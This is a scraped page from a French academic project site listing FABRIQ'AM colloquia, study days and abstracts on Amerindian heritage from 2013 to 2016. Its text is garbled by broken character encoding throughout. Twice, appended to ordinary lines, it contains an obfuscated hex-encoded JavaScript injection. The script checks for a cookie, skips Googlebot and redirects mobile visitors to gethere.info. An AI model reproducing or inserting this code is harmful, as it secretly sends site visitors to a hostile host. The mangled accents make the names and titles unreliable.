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Nos activitA�s (2013-2016)

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Nos activitA�s (2013-2016)

  • Colloques
Reshuffling of knowledge and the making of autochthonous cultural heritage: ethnographicalA�perspectives | Mise en patrimoine et recomposition de rA�gimes de savoir. EthnographieA�da��expA�riences autochtones. Ariel de Vidas, Anath, Vapnarsky, Valentina (orgs). Panel In :A�The Conference of the Association for Critical Heritage Studies (ACHS), TroisiA?meA�ConfA�rence biannuel, a�?Le patrimoine, A�a change quoi ? / What does heritage change ?a��, le 4A�juin 2016, MontrA�al.
(Programme)

 

Colloque final du projet ANR Fabriqa��am: a�?Culture : modes da��emploi. La patrimonialisation A�
la��A�preuve du terraina��, Ariel de Vidas, Anath, V. Vapnarsky (avec le concours de M. H.A�Dziubinska,) (orgs), La Barge du Crous, les 30 mai-1er juin 2016, Paris.
(Programme)

 

Colloquio internacional FABRIQ’AM a�?La fabrica del a�?patrimonioa�? en las sociedadesA�amerindias : regA�menes de temporalidad, historicidad y transmisiA?na��, P. Cruz, L. CharlierA�Zeineddine, F. Tola et V. Vapnarsky (orgs), CONICET, FundaciA?n Instituto de EstudiosA�Budistas, les 7-8 dA�cembre 2015, Buenos Aires.
(Programme)

 

Atelier de dA�marrage de la��ANR Fabriqa��am, A. Ariel de Vidas et V. Vapnarsky (org),A�MAE/LESC, les 23-24 mai 2013, Nanterre.
(Programme)

 

  • JournA�es da��A�tude et sA�minaires
JournA�e da��A�tude international Fabriqa��am a�?Le cinema amA�rindien aujourda��hui : Genres,A�auteurs, effetsa��, I. Penoni et E. de Vienne., UniversitA� Paris Ouest Nanterre La DA�fense, le 26A�mai 2016, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Du Hip Hop A� WhatsApp : Nouvelles formes de communicationA�chez les AmA�rindiensa��, K. Aviles Gonzalez et V. Vapnarsky (orgs), EHESS, le 31 mars 2016,A�Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimoine culturel et propriA�tA� intellectuelle’, M. MartA�nezA�Mauri et C. Yvinec (orgs), LESC/MAE, le 23 mars 2016, Nanterre.
(Programme)

 

SA�minaire de travail interne pour la prA�paration du colloque final, Moulin da��AndA�, 28 fA�vrier-2 mars 2016.
(Programme)

 

JournA�es da��A�tude commune Fabriqa��Am-Etnomat ‘Les objets matA�riels dans les processus deA�patrimonialisation (EtnoMat)’, M. MartA�nez Mauri,, J. Tomas, C. Yvinec (org.), UniversitA� deA�Barcelone, les 4-5 fA�vrier 2016, Barcelone.
(Programme)

 

JournA�e da��A�tude de Fabriqa��am a�?Les concours de beautA� dans les AmA�riques indiennes:A�performance, glamour et patrimonialisationa��, M. H. Dziubinska et G. DeshoulliA?re (orgs), LESC/MAE, le 11 dA�cembre 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Circonscrire le patrimoinea��, S. Macedo (org), LESC/MAE, le 25A�juin 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Territoires et identitA�s : une approche patrimonialea��, Boyer, V.A�et Stoll, E. (org), EHESS, le 13 mai 2015, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation en situation de migrationa��, S. PA�dronA�Colombani (org), LESC/MAE, le 16 avril 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation et rA�gimes da��historicitA� (II) : Le secreta��,A�Laurence Charlier-Zeineddine (org), EHESS, le 2 mars 2015, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?De la restitution intelligible A� la rA�appropriation activea��, P.A�Erikson et J-M. Beaudet (orgs), LESC/MAE, le 30 janvier 2015, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Des Vestiges: pratiques memorielles, inscriptions temporelles etA�engagement politique dans les mondes amerindiensa��, V. Vapnarsky et L. Charlier Zeineddine,A�LESC/MAE, le 24 octobre 2014, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?La fabrique de A� communautA�s patrimoniales A�a��, C. BortolottoA�(org), LESC/MAE, le 15 mai 2014, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation et rA�gimes da��historicitA� (I). Nostalgie etA�patrimoinea��, Laurence Charlier Zeineddine (org), LESC/MAE, le 26 mars 2014, Nanterre.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Patrimonialisation et mise en spectacle du rituel en Amazonie’,A�N. PA�tesch, C. Nahum-Claudel et C. Yvinec (org), LAS, 13 fA�vrier 2014, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Les oralitA�s secondesa��, A. Ariel de Vidas (org), EHESS, le 23A�janvier 2014, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Les termes de la patrimonialisationa��, A. Ariel de Vidas et M.A�Chosson (org), EHESS, le 9 dA�cembre 2013, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Les entrepreneurs de patrimonialisationa��, S. Macedo et G.A�Collomb (org), CollA?ge de France, le 27 novembre 2013, Paris.
(Programme)

 

JournA�e da��A�tude Fabriqa��am a�?Embrayeurs et patrimonialisationa��, A-G. Bilhaut et A. HA�mondA�(org), LESC/MAE, le 17 octobre 2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: Intervention de Jean-FrA�dA�rique Schaub, LESC/MAE, le 16 maiA�2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: PrA�sentations de Silvia Macedo et da��Andrea-Luz GutierrezA�Choquevila, LESC/MAE, le 18 avril 2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: PrA�sentation de Julie Carpentier, LESC/MAE, le 4 avril 2013,A�Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: a�?PrA�sentation de GA�rard Collomb, LESC/MAE, le 21 mars 2013,A�Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am: PrA�sentations de CA�dric Yvinec et de Vincent Hirtzel, LESC/MAE,A�le 21 fA�vrier 2013, Nanterre.
(Programme)

 

Les jeudis de Fabriqa��am a�?RA�union de lancement et modalities da��organisation du projeta��,A�LESC/MAE, le 7 fA�vrier 2013, Nanterre.
(Programme)

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Colloque final (vidA�os, programme, rA�sumA�s)

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Cliquez ici pour voir les vidA�os du colloque final A�?YZ?

Cliquez ici pour voir le programme et les rA�sumA�s du colloque final ?Y��

Cliquez ici pour voir la publication du colloque final dans la revue Nuevo Mundo Mundos Nuevosvar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

colloque/panel ACHS/FABRIQ’AM (04/06/2016): “Mise en patrimoine et recomposition de rA�gimes de savoir”

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Colloque ACHS/FABRIQ’AM

le 4 juinA�2016

Reshuffling of knowledge and the making of autochthonous cultural heritage: ethnographicalA�perspectives |

Mise en patrimoine et recomposition de rA�gimes de savoir. Ethnographie
da��expA�riences autochtones.

Panel In :A�The Conference of the Association for Critical Heritage Studies (ACHS), TroisiA?meA�ConfA�rence bi-annuel, a�?Le patrimoine, A�a change quoi ? / What does heritage change ?a��

UQAM, pavillon J.-A. De SA?ve (DS),
MontrA�al, Canada

Programme et rA�sumA� : cliquerA�ici

La A�mise en patrimoineA� da��A�lA�ments culturels, matA�riels et immatA�riels, devient depuis plusieurs annA�es la��un des moyens par lesquels les groupes amA�rindiens recherchent une visibilitA� et une reconnaissance dans un paysage social et politique marquA� aujourda��hui dans la plupart des pays amA�ricains par une valorisation affichA�e de la diversitA� culturelle.
Les phA�nomA?nes de patrimonialisation culturelle, amplement A�tudiA�s ailleurs (surtout en AmA�rique du Nord) sont moins connus dans les espaces mA�so et sud-amA�ricains et encore moins chez les sociA�tA�s amA�rindiennes. Au sein de ces groupes, les conceptions de ce qui doit A?tre conservA� ouA� oubliA�, les maniA?res de transmettre les connaissances et les savoirs, les modes da��historicitA� semblent bien souvent aller A� la��encontre de la��idA�e mA?me de la patrimonialisation telle qua��on la��entend dans le monde eurocentrA�. Par ailleurs, A� la suite des mA�diations et des formes da��inculcation de schA?mes formulA�es en dehors des sociA�tA�s amA�rindiennes, celles-ci transforment aujourda��hui certaines de leurs pratiques en nouvelles formes plus objectivables pour la��extA�rieur et qui participent de modalitA�s inA�dites de transmission aux nouvelles gA�nA�rations.
Les formes de transmission mA�morielle des sociA�tA�s amA�rindiennes ont alors une double dimension. Da��une part, elles se construisent dans une matrice culturelle et sociale locale qui leur est propre. Da��autre part, elles sont aussi, pour beaucoup, dA�sormais investies au sein da��un monde globalisA� en tant que ressources mobilisables pour conforter une identitA� collective, voire de nouvelles formes da��indianitA�. La��analyse des configurations patrimoniales que la��on peut observer sur le terrain demande alors une A�lucidation de ces formes da��adaptation mais aussi la comprA�hension de la maniA?re dont les acteurs indigA?nes ont su, en retour, se rA�approprier un droit A� construire un discours propre sur leur culture.
Ces thA�matiques ont A�tA� A�tudiA�es au sein du projet FABRIQa��AM. Cette session, qui se veut ouverte A� da��autres contextes, sera la��occasion de prA�senter dans une visA�e comparative certaines recherches issues de ce projet ainsi que da��autres travaux rA�alisA�s sous cet angle concernant da��autres aires culturelles. Les communications sa��attacheront A� A�lucider, A� partir da��A�tudes de cas finement ethnographiA�s, les processus de transformation suscitA�s par A�la mise en patrimoineA� dans des sociA�tA�s culturellement et socialement minorisA�es A� travers le monde. On sa��intA�ressera notamment aux changements affectant les rA�gimes de savoir, les rA�gimes de temporalitA� et da��historicitA� ainsi que ceux concernant le devenir da��objets/artA�facts (de la sphA?re intime A� la��artisanat touristique, du privA�/secret au publica��). A� travers la��A�tude de la patrimonialisation culturelle, prise comme rA�vA�latrice de jeux da��acteurs, de stratA�gies de dA�finition de soi et de construction du politique, la��enjeu est da��aborder les modalitA�s de la��insertion dans la modernisation des sociA�tA�s A�tudiA�es et leur capacitA� A� la��investir, en mettant au jour les formes de cohabitation et de composition de rA�gimes de savoirs et da��historicitA�.

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Colloque final (30/05-01/06/2016) : “Culture : Modes d’emploi. La patrimonialisation A� l’A�preuve du terrain”

Publié le par

Colloque final du projet ANR FABRIQ’AM

30 mai a�� 1er juin 2016

Culture : Modes d’emploi
La patrimonialisation A� l’A�preuve du terrain

La Barge du CROUS, Quai FranA�ois Mauriac
Port de la Gare
75013 Paris

Programme et rA�sumA�s: tA�lA�charger ici

Lundi 30 mai
10h-12h30

Introduction gA�nA�rale
Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Valentina Vapnarsky (CNRS-EREA/LESC)

ConfA�rence de Michael Herzfeld
(Department of Anthropology, Harvard University, A�tats-Unis)
Patrimoine et propriA�tA� :A�Les origines bureaucratiques et scientifiques des conflits culturels

Session I – 14h-17h30
Culture et patrimoine : quels termes in situ ?
PrA�sidente de sA�ance : Aurore Monod Becquelin ( (CNRS-LESC)

Introduction :
A� Avons-nous de la culture ? A� InterfA�rences terminologiques dans et au-delA� des processus de patrimonialisation.A�Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Vincent Hirtzel (CNRS-EREA/LESC)

Discutante de la session : Anne-Christine Taylor (CNRS-EREA/LESC)

  • Une indianitA� interculturelle ? Cultura et nouveaux modes de gouvernance.A�Marie Chosson (INALCO-CESSMA) et Julie Carpentier (EREA/LESC)
  • Les coutumes entre paganisme et barbarie : El costumbre A� le coutume A� (Nahua, Mexique) et la mala costumbre A� la mauvaise coutume A� (YurakarA�, Bolivie).A�Anath Ariel de Vidas (CNRS-CERMA/MONDESAM) et Vincent Hirtzel (CNRS-EREA/LESC)
  • Du mode da��A?tre A� la culture.A�Isabelle Daillant (CNRS-EREA/LESC)
  • La A� culture A� dans les grammaires amA�rindiennes.A�CA�dric Becquey (EREA/LESC), Valentina Vapnarsky (CNRS-EREA/LESC) et CA�dric Yvinec (LAS)
A�Cocktail d’ouverture

Mardi 31 mai

Session II – 9h-12h30
Indiens sur scA?nes, A�trangers captivA�s
PrA�sident de sA�ance : Emmanuel de Vienne (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Introduction :
Mise en spectacle de la culture et secret.A�Philippe Erikson (UniversitA� Paris Ouest Nanterre-EREA/LESC), CA�dric Yvinec (LAS), ChloA� Nahum-Claudel (University of Cambridge)

  • Les concours de beautA� amA�rindiens. Nouvelles formes de spectacularisation de l’indianitA�.A�Magda Helena Dziubinska (EREA/LESC)
  • Shamanism, Patrimony and Indigenous Autonomy in Contemporary Colombia: Negotiating identity in a context of violence.A�E. Jean Langdon (Universidade Federal de Santa Catarina, BrA�sil)
  • Danseurs wayA?pi aux Festival da��Avignon. Un spectacle interculturel, un acte diplomatique.A�Jean-Michel Beaudet (UniversitA� Paris Ouest Nanterre-CREM/LESC)
  • CommA�morer un massacre, enfouir les secrets dans les Andes du PA�rou.A�ValA�rie Robin AzevedoA�(UniversitA� Paris Descartes-CANTHEL)
  • Montrer pour cacher : la transmission da��un savoir rituel shuar (Amazonie A�quatorienne) dans le contexte nA�o-chamanique.A�Katarzyna Zajda (EPHE-IMAF)

Session III – 14h-17h15
De la��A�vanescence et de la pA�rennitA� des choses
PrA�sident de sA�ance : Philippe Erikson (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Introduction :
De la��A�vanescence et de la pA�rennitA� des choses.A�Laurence Charlier (UniversitA� Toulouse Jean JaurA?s-LISST/CAS), Valentina Vapnarsky (CNRS EREA/LESC)

  • Vertigineux vestiges : temps de pierres en pays maya et aymara.A�Laurence Charlier (UniversitA� Toulouse Jean JaurA?s-LISST/CAS), Valentina Vapnarsky (CNRS-EREA/LESC), Marie Chosson (INALCO-CESSMA), CA�dric Becquey (EREA/LESC) et Helios Figuerola Pujol (EREA/LESC)
  • Des vestiges toujours actifs. MA�moires et temporalitA�s dans les Andes de Bolivie.A�Pablo Cruz (CONICET) et Gilles RiviA?re (EHESS-CERMA/MOndesAM )
  • Les vestiges comme source de lA�gitimation territoriale.A�Pirjo Virtanen (UniverstitA� de Helsinki, EREA/LESC), Emilie Stoll (IRD-PALOC), Florencia Tola (CONICET)
  • Traces de malemorts ou lieu de nostalgie ? Sanctification et/ou patrimonialisation da��un village noir dA�truit (Choco, Colombie).A�Anne-Marie Losonczy (EPHE-CERMA/MOndesAM)

ConfA�rence de Fernando Santos-Granero – 17h30-18h30
(Smithsonian Tropical Research Institute, Panama)
Patrimonialization, Defilement & the Zombification of Cultural Heritage

Mercredi 1er juin

Session IV – 10h-12h30
Dilemmes participatifs et jeux de lA�gitimation
PrA�sident de sA�ance : Patrick Deshayes (UniversitA� Lyon II, EREA/LESC)

Introduction:
Dilemmes participatifs et jeux de lA�gitimation dans la patrimonialisation.A�Chiara Bortolotto (ANR, UNESCO Frictions), , Silvia Macedo (EREA/LESC), VA�ronique Boyer (CNRS-CRBC/MOndesAM), GA�rard Collomb (CNRS-LAIOS/IIAC), Aline HA�mond (UniversitA� de Picardie-Jules Verne-EA “Habiter le monde”) et Sylvie Pedron-Colombani (UniversitA� Paris Ouest Nanterre-EREA/LESC)

Discutante de la session : Sylvie Sagnes (CNRS-IIAC/LAHIC)

  • De quelques points de vue sur la formation de chercheurs amA�rindiens au BrA�sil.A�Dominique Tilkin Gallois (Universidade de SA?o Paulo-CEstA, BrA�sil)
  • Nouveaux acteurs, logiques anciennes ? La patrimonialisation du territoireA�(BrA�sil, Colombie).A�VA�ronique Boyer (CNRS-CRBC/MOndesAM) et Odile Hoffmann (IRD-URMIS)
  • Construire et inventer le patrimoine zA?para. Acteurs, intA�rA?ts, conflits enA�Amazonie A�quatorienne.A�Anne-GaA�l Bilhaut (URA-IKIAM, EREA/LESC)

14h-15h30

  • Prises multiples du A� patrimoine culturel immatA�riel A�, A� partir du haut et du basA�Maroni (Guyane).A�GA�rard Collomb (CNRS-LAIOS/IIAC) et Thomas Mouzard (Direction des affaires culturelles de Guyane/MinistA?re de la Culture)
  • Patrimoine et migration : processus transnationaux de collaboration, construction et lA�gitimation A� partir de deux A�tudes de cas (Nahua et Mayas vers les A�tats-Unis).A�Aline HA�mond (UniversitA� de Picardie-Jules Verne-EA “Habiter le monde”) et Sylvie PA�dron-Colombani (UniversitA� Paris Ouest Nanterre-EREA/LESC)

ConfA�rence de Claudia Briones – 16h-17h
(Instituto de Investigaciones en Diversidad Cultural y Procesos de Cambio, Universidad Nacional de RA�o Negro-CONICET, Argentine)
“Spirituality… We do not have such a thing”: Patrimonialization processes as minefields

17H : Discussion gA�nA�rale

Cocktail de clA?ture

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Demi-journA�e d’A�tude (08/12/2016) : “MobilitA� des artistes ethniques”

Publié le par

Demi-journA�e d’A�tude

A�8 dA�cembre 2016, 16h-21h

MobilitA� des artistes ethniques :
les artistes mexicains et le National Museum of Mexican Art A� Chicago
.

A�MusA�e du Quai Branly – Salle de lecture Jacques Kerchache,
UniversitA� de Nanterre

Circulant entre le Mexique et les Etats-Unis, ou sa��installant dA�finitivement dans le pays da��accueil, une importante communautA� da��artistes mexicains, mexicano-amA�ricains et d’origine indigA?ne ont faA�onnA� le visage multiculturel de la ville de Chicago depuis les annA�es 1930. Leur A�uvre collective ou individuelle a accompagnA� les combats civiques et syndicaux des annA�es soixante et a impulsA� le mouvement muraliste des annA�es 1970. Plasticiens, graveurs et muralistes se font aujourda��hui la��A�cho des batailles alter-mondialistes, A�cologiques, nA�o-zapatistes ou des disparitions des A�tudiants da��Ayotzinapa, tout en dA�veloppant des univers esthA�tiques multiples.

La mobilitA� des artistes mexicains sera A�voquA�e par Carlos Tortolero directeur du National Museum of Mexican Art de Chicago. Il commentera la��aventure de la crA�ation et des actions du MusA�e, son rA?le de relais artistique et intellectuel A�uvrant A� la co-existence des A� minoritA�s ethniques A� dans la ville. Des plasticiens mexicains soutenus par le MusA�e a�� NicolA?s de JesA?s, nahuaphone, Juan Chawuk, tojolabal du Chiapas ainsi qua��Esperanza Gama a��, relateront leur parcours et leurs expA�riences artistiques.

Org. : Aline HA�mond (Equipe A� Habiter le monde A�/UPJV) et Fabienne de Pierrebourg (GERM-UPO/MusA�e du Quai Branly).

Partenaires scientifiques : EA 4287 Habiter le monde/UniversitA� de Picardie a�� ANR Fabriqa��AM (Fabrique des Patrimoines amA�rindiens) a�� GERM/UniversitA� Paris Ouest a�� MusA�e du Quai Branly

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JournA�e d’A�tude (26/05/2016) : “Le cinA�ma amA�rindien aujourd’hui”

Publié le par

JournA�e d’A�tude FABRIQ’AM

(ANR, LESC & MONDESAM)

A�26 Mai 2016

Le cinA�ma amA�rindien aujourd’hui :
genres, auteurs, effets.

A�AmphithA�A?tre du bA?timent Max Weber,
UniversitA� de Nanterre

Programme, rA�sumA� et plan d’accA?s : tA�lA�charger ici

La��usage de la vidA�o est dA�sormais gA�nA�ralisA� dans les populations autochtones en AmA�rique du Sud. Il gA�nA?re uneA�production importante, tant par ses effets sur les sociA�tA�s concernA�es que pour le dA�fi qua��il adresse au cinA�maA�classique. MA�dium de la relation interethnique, outil de reprA�sentation politique, moyen da��obtenir des ressourcesA�financiA?res, forme da��expression artistique ouvrant A� des carriA?res internationales, support da��apprentissage rituel ouA�chorA�graphique ou simple captation A� usage domestique da��un micro A�vA�nement, les films indiens contemporainsA�prA�sentent des physionomies trA?s variA�es et touchent des publics trA?s divers. Cette journA�e da��A�tude entend explorerA�cette diversitA� de formes et de fonctions. Son enjeu principal est de chercher A� dA�passer, par la��analyse de filmsA�spA�cifiques, la��opposition entre deux lectures A�galement univoques : celle de la��acculturation da��une part (les vidA�osA�sont la��indice da��une mondialisation passivement reA�ue), celle de la��appropriation da��autre part (les vidA�os sontA�activement et dA�libA�rA�ment indigA�nisA�es).

Org. :A�Isabel Penoni (MusA�e du quai Branly) et Emmanuel de Vienne (UPO-LESC/EREA)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

JournA�e d’A�tude internationale (31/03/2016) : “DU HIP HOP A� WHATSAPP”

Publié le par

JournA�e d’A�tude internationale FABRIQ’AM

(ANR, LESC & MONDESAM)

A�31 Mars 2016

Du Hip Hop A� WhatsApp :
Nouvelles formes de communication chez les amA�rindiens.

A�EHESS 105 bd. Raspail
salle 8

Programme et rA�sumA� : tA�lA�charger ici

matin

10h00:PrA�sentation Karla J. AvilA�s GonzA?lez (LABEX EFL, Paris 7 / EREA) et Valentina Vapnarsky (EREA/LESC, CNRS)

10h10-11h: Josep Cru (UniversitA� de Newcastle, Angleterre) : Bilingual rap in Yucatan: Strategic choices for the revitalisation of Amerindian languages.

